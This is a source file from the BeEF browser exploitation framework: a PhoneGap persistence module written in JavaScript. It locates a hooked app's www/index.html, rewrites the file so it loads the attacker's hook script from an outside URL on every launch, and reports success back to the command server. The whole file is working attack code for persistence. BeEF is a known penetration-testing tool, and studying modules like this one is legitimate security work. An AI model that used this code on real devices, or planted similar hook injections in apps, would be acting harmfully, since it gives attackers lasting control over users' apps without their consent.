CoCalc -- command.js

GitHub Repository: beefproject/beef
Path: blob/master/modules/phonegap/phonegap_persistence/command.js
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//
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// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
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// Browser Exploitation Framework (BeEF) - https://beefproject.com
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// See the file 'doc/COPYING' for copying permission
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//
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// persistence
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//
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beef.execute(function() {
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    // insert hook into index.html
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    //
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    // 1. locate index.html
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    // 2. read it in 
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    // 3. add our hook
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    // 4. write it back out to same location
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    // 1. locate index.html
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    // 
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    // list dirs under current dir
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    // one should be something.app
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    // inside that should be a www dir and in that an index.html
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    //
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    // write the file with new hook
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    function write_file(text) {
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        function fail () {
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            beef.debug('write_file fail')
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        }
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        function gotFileWriter(writer) {
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            writer.onwrite = function(evt) {
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                beef.debug("write success");
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            }
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            writer.write(text);
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        }
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        function gotFileEntry(fileEntry) {
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            fileEntry.createWriter(gotFileWriter, fail);
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        }
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        function gotFS(fileSystem) {
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            fileSystem.root.getFile("../"+window.tmpfilename+"/www/index.html", null, gotFileEntry, fail);
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        }
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      window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, gotFS, fail);
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    }
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    // find <head></head> and insert our hook.
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    function replace_text(text) {
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        re = new RegExp("<head>", "g");
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        hook_url = '<%== @hook_url %>';
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        new_text = text.replace(re, "<head><script src='" + hook_url + "'></script>")
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        write_file(new_text);
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    }
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    function read_index(app_name) {
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        function fail () {
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            beef.debug('read_index fail')
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        }
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        function readFile(file) {
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            var reader = new FileReader();
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            reader.onloadend = function(evt) {
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                //beef.debug("Read as text");
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                beef.debug(evt.target.result);
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                replace_text(evt.target.result);
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            };
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            reader.readAsText(file);    
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        }
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        function gotFileEntry(fileEntry) {
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            fileEntry.file(readFile, fail);
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        }
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        function gotFS(fileSystem) {
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            fileSystem.root.getFile("../"+app_name+"/www/index.html", null, gotFileEntry, fail);
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        }
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        window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, gotFS, fail);
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    }
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    function locate() {
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        function result(entries) {
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         beef.debug('result'); 
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          var i;
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          for (i=0; i<entries.length; i++) {
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             // looking for <something>.app
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             var re = new RegExp(/^[a-zA-Z0-9]*\.app/)
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             var match = re.exec(entries[i].name)
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             if (match) {
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               beef.debug('found ' + entries[i].name);
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               // look for ../<something>.app/www/index.html
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               read_index(entries[i].name);
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               // FIXME find a less hacky way
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               // just wanted to make this global so I didnt have to call it again to write the file
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               window.tmpfilename = entries[i].name;
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             }
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           }
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        } 
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      function fail() {
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        beef.debug('fail');
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      }
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      function win(entries) {
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        beef.debug('win');
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        result(entries);
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      }
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      // use directoryentry to create directory reader
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      function gotDirEntry(dirEntry) {
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        var directoryReader = dirEntry.createReader();
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        directoryReader.readEntries(win,fail);
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      }
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      // use getDirectoy to create reference to directoryentry 
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      function gotFS(fileSystem) {
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        // on iphone current dir defaults to <myname>.app/documents
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        // so we wanna look in our parent directory for <something>.app
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        fileSystem.root.getDirectory('../', null, gotDirEntry, fail);
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      }
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      window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, gotFS, fail);
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    }
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    //result = fail;
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    //beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result);
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    locate(); 
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    result = 'success';
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    beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result);
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});
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